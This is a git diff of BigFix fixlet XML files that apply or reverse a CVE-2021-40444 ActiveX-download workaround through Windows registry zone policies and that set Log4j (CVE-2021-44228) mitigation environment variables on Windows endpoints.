+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>CVE-2021-40444: Activate Workaround: Disable ActiveX Download</Title>
+    <Description>Workaround for CVE-2021-40444 </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>Product type of operating system = NT Workstation product type</Relevance>
+    <Relevance>if (not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones&quot; of native registry) then (true) else (4 != number of keys (&quot;0&quot;; &quot;1&quot;; &quot;2&quot;; &quot;3&quot;) whose (exists value &quot;1001&quot; whose (it as string as integer = 3) of it and exists value &quot;1004&quot; whose (it as string as integer = 3) of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones&quot; of native registry)</Relevance>
+    <Category>Workaround</Category>
+    <Source>Trevor Norrey</Source>
+    <SourceReleaseDate>2021-09-08</SourceReleaseDate>
+    <CVENames>CVE-2021-40444</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 11 Sep 2021 15:06:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+if x64 of operating system
+
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;=dword:00000003
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;=dword:00000003
+
+else
+
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;=dword:00000003
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;=dword:00000003
+
+endif</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Deactivate Workaround_ Disable ActiveX Download (26877).bes b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Deactivate Workaround_ Disable ActiveX Download (26877).bes
index cb5bae270..6bd792df0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Deactivate Workaround_ Disable ActiveX Download (26877).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-40444_ Deactivate Workaround_ Disable ActiveX Download (26877).bes	
@@ -1,61 +1,61 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : CVE-2021-40444: Deactivate Workaround: Disable ActiveX Download
-  ID       : 26877
-  Author   : trn
-  Domain   : BESC
-  Imported : 2021-09-11T08:17:39
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>CVE-2021-40444: Deactivate Workaround: Disable ActiveX Download</Title>
-    <Description>Deactivate the Workaround for CVE-2021-40444 </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>Product type of operating system = NT Workstation product type</Relevance>
-    <Relevance>exists keys (&quot;0&quot;; &quot;1&quot;; &quot;2&quot;; &quot;3&quot;) whose (exists value &quot;1001&quot; whose (it as string as integer = 3) of it or exists value &quot;1004&quot; whose (it as string as integer = 3) of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones&quot; of native registry</Relevance>
-    <Category>Workaround</Category>
-    <Source>Trevor Norrey</Source>
-    <SourceReleaseDate>2021-09-08</SourceReleaseDate>
-    <CVENames>CVE-2021-40444</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 11 Sep 2021 15:04:44 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-if x64 of operating system
-
-regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;
-regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;
-regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;
-regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;
-regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;
-regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;
-regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;
-regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;
-
-else
-
-regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;
-regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;
-regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;
-regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;
-regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;
-regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;
-regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;
-regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;
-
-endif</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : CVE-2021-40444: Deactivate Workaround: Disable ActiveX Download
+  ID       : 26877
+  Author   : trn
+  Domain   : BESC
+  Imported : 2021-09-11T08:17:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>CVE-2021-40444: Deactivate Workaround: Disable ActiveX Download</Title>
+    <Description>Deactivate the Workaround for CVE-2021-40444 </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>Product type of operating system = NT Workstation product type</Relevance>
+    <Relevance>exists keys (&quot;0&quot;; &quot;1&quot;; &quot;2&quot;; &quot;3&quot;) whose (exists value &quot;1001&quot; whose (it as string as integer = 3) of it or exists value &quot;1004&quot; whose (it as string as integer = 3) of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones&quot; of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>Trevor Norrey</Source>
+    <SourceReleaseDate>2021-09-08</SourceReleaseDate>
+    <CVENames>CVE-2021-40444</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 11 Sep 2021 15:04:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+if x64 of operating system
+
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;
+regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;
+
+else
+
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1001&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]&quot; &quot;1004&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1001&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]&quot; &quot;1004&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1001&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]&quot; &quot;1004&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1001&quot;
+regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]&quot; &quot;1004&quot;
+
+endif</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-44228 Log4j _ Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows) (26898).bes b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-44228 Log4j _ Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows) (26898).bes
index df28218cc..2bcc7428e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-44228 Log4j _ Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows) (26898).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/CVE-2021-44228 Log4j _ Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows) (26898).bes	
@@ -1,67 +1,67 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : CVE-2021-44228 Log4j : Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows)
-  ID       : 26898
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2021-12-14T09:51:29
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>CVE-2021-44228 Log4j : Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows)</Title>
-    <Description><![CDATA[<P><A href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228</A></P>
-<P>Apache Log4j2 &lt;=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (&gt;2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to "true" or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see <A href="https://www.oracle.com/java/technologies/javase/8u121-relnotes.html">https://www.oracle.com/java/technologies/javase/8u121-relnotes.html</A>) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".</P>
-<P>While it is very much advised to update all affected applications to make use of the corrected Log4j 2.15.0 or higher; or update the individual application to configure log4j2.formatMsgNoLookups=true, there is at least some measure of attack surface reduction that can be performed system-wide by applying the value to the JAVA_TOOL_OPTIONS environment variable.</P>
-<P>This method is <STRONG>limited</STRONG>, as any Java application may override the JAVA_TOOL_OPTIONS environment as part of its startup, but this Fixlet may provide some measure of improvement.&nbsp; Additionaly these may only be effective with specific versions of Java or Log4j.</P>
-<P>Guidance on these values is taken from</P>
-<UL>
-<LI><A href="https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/">https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/</A></LI>
-<LI><A href="https://docs.oracle.com/javase/8/docs/technotes/guides/troubleshoot/envvars002.html"><FONT color=#0066cc>https://docs.oracle.com/javase/8/docs/technotes/guides/troubleshoot/envvars002.html</FONT></A></LI>
-<LI><A href="http://mail-archives.apache.org/mod_mbox/flink-user/202112.mbox/%3Cf04c6b32-1073-a002-3633-bf4af981bf08@apache.org%3E">http://mail-archives.apache.org/mod_mbox/flink-user/202112.mbox/%3Cf04c6b32-1073-a002-3633-bf4af981bf08@apache.org%3E</A></LI>
-<LI></LI></UL>
-<P>This Fixlet applies the following Envrionment Variable values on Windows:</P>
-<UL>
-<LI>JAVA_TOOL_OPTIONS = -Dlog4j.formatMsgNoLookups=true (preserving any existing entries)</LI>
-<LI>JDK_JAVA_OPTIONS = -Dlog4j.formatMsgNoLookups=true (preserving any existing entries)</LI>
-<LI>_JAVA_OPTIONS = -Dlog4j.formatMsgNoLookups=true (preserving any existing entries)</LI>
-<LI>LOG4J_FORMAT_MSG_NO_LOOKUPS = true (overwriting any existing entry)</LI></UL>
-<P><BR></P>]]></Description>
-    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
-    <Relevance>not exists values &quot;JAVA_TOOL_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string OR not exists values &quot;JDK_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string OR not exists values &quot;_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string OR not exists values &quot;LOG4J_FORMAT_MSG_NO_LOOKUPS&quot; whose (it as string = &quot;true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2021-12-13</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 14 Dec 2021 17:50:17 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-if {not exists values &quot;JAVA_TOOL_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
-waithidden cmd.exe /c &quot;setx /M JAVA_TOOL_OPTIONS &quot;-Dlog4j.formatMsgNoLookups=true {value &quot;JAVA_TOOL_OPTIONS&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string | &quot;&quot;}&quot;&quot;
-endif
-
-if {not exists values &quot;JDK_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
-waithidden cmd.exe /c &quot;setx /M JDK_JAVA_OPTIONS &quot;-Dlog4j.formatMsgNoLookups=true {value &quot;JDK_JAVA_OPTIONS&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string | &quot;&quot;}&quot;&quot;
-endif
-
-if {not exists values &quot;_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
-waithidden cmd.exe /c &quot;setx /M _JAVA_OPTIONS &quot;-Dlog4j.formatMsgNoLookups=true {value &quot;_JAVA_OPTIONS&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string | &quot;&quot;}&quot;&quot;
-endif
-
-if {not exists values &quot;LOG4J_FORMAT_MSG_NO_LOOKUPS&quot; whose (it as string = &quot;true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
-waithidden cmd.exe /c &quot;setx /M LOG4J_FORMAT_MSG_NO_LOOKUPS &quot;true&quot;&quot;
-endif
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : CVE-2021-44228 Log4j : Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows)
+  ID       : 26898
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2021-12-14T09:51:29
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>CVE-2021-44228 Log4j : Add JAVA_TOOL_OPTIONS mitigation to Environment variables (Windows)</Title>
+    <Description><![CDATA[<P><A href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228</A></P>
+<P>Apache Log4j2 &lt;=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (&gt;2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to "true" or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see <A href="https://www.oracle.com/java/technologies/javase/8u121-relnotes.html">https://www.oracle.com/java/technologies/javase/8u121-relnotes.html</A>) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".</P>
+<P>While it is very much advised to update all affected applications to make use of the corrected Log4j 2.15.0 or higher; or update the individual application to configure log4j2.formatMsgNoLookups=true, there is at least some measure of attack surface reduction that can be performed system-wide by applying the value to the JAVA_TOOL_OPTIONS environment variable.</P>
+<P>This method is <STRONG>limited</STRONG>, as any Java application may override the JAVA_TOOL_OPTIONS environment as part of its startup, but this Fixlet may provide some measure of improvement.&nbsp; Additionaly these may only be effective with specific versions of Java or Log4j.</P>
+<P>Guidance on these values is taken from</P>
+<UL>
+<LI><A href="https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/">https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/</A></LI>
+<LI><A href="https://docs.oracle.com/javase/8/docs/technotes/guides/troubleshoot/envvars002.html"><FONT color=#0066cc>https://docs.oracle.com/javase/8/docs/technotes/guides/troubleshoot/envvars002.html</FONT></A></LI>
+<LI><A href="http://mail-archives.apache.org/mod_mbox/flink-user/202112.mbox/%3Cf04c6b32-1073-a002-3633-bf4af981bf08@apache.org%3E">http://mail-archives.apache.org/mod_mbox/flink-user/202112.mbox/%3Cf04c6b32-1073-a002-3633-bf4af981bf08@apache.org%3E</A></LI>
+<LI></LI></UL>
+<P>This Fixlet applies the following Envrionment Variable values on Windows:</P>
+<UL>
+<LI>JAVA_TOOL_OPTIONS = -Dlog4j.formatMsgNoLookups=true (preserving any existing entries)</LI>
+<LI>JDK_JAVA_OPTIONS = -Dlog4j.formatMsgNoLookups=true (preserving any existing entries)</LI>
+<LI>_JAVA_OPTIONS = -Dlog4j.formatMsgNoLookups=true (preserving any existing entries)</LI>
+<LI>LOG4J_FORMAT_MSG_NO_LOOKUPS = true (overwriting any existing entry)</LI></UL>
+<P><BR></P>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Relevance>not exists values &quot;JAVA_TOOL_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string OR not exists values &quot;JDK_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string OR not exists values &quot;_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string OR not exists values &quot;LOG4J_FORMAT_MSG_NO_LOOKUPS&quot; whose (it as string = &quot;true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-12-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 14 Dec 2021 17:50:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+if {not exists values &quot;JAVA_TOOL_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
+waithidden cmd.exe /c &quot;setx /M JAVA_TOOL_OPTIONS &quot;-Dlog4j.formatMsgNoLookups=true {value &quot;JAVA_TOOL_OPTIONS&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string | &quot;&quot;}&quot;&quot;
+endif
+
+if {not exists values &quot;JDK_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
+waithidden cmd.exe /c &quot;setx /M JDK_JAVA_OPTIONS &quot;-Dlog4j.formatMsgNoLookups=true {value &quot;JDK_JAVA_OPTIONS&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string | &quot;&quot;}&quot;&quot;
+endif
+
+if {not exists values &quot;_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
+waithidden cmd.exe /c &quot;setx /M _JAVA_OPTIONS &quot;-Dlog4j.formatMsgNoLookups=true {value &quot;_JAVA_OPTIONS&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string | &quot;&quot;}&quot;&quot;
+endif
+
+if {not exists values &quot;LOG4J_FORMAT_MSG_NO_LOOKUPS&quot; whose (it as string = &quot;true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
+waithidden cmd.exe /c &quot;setx /M LOG4J_FORMAT_MSG_NO_LOOKUPS &quot;true&quot;&quot;
+endif
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
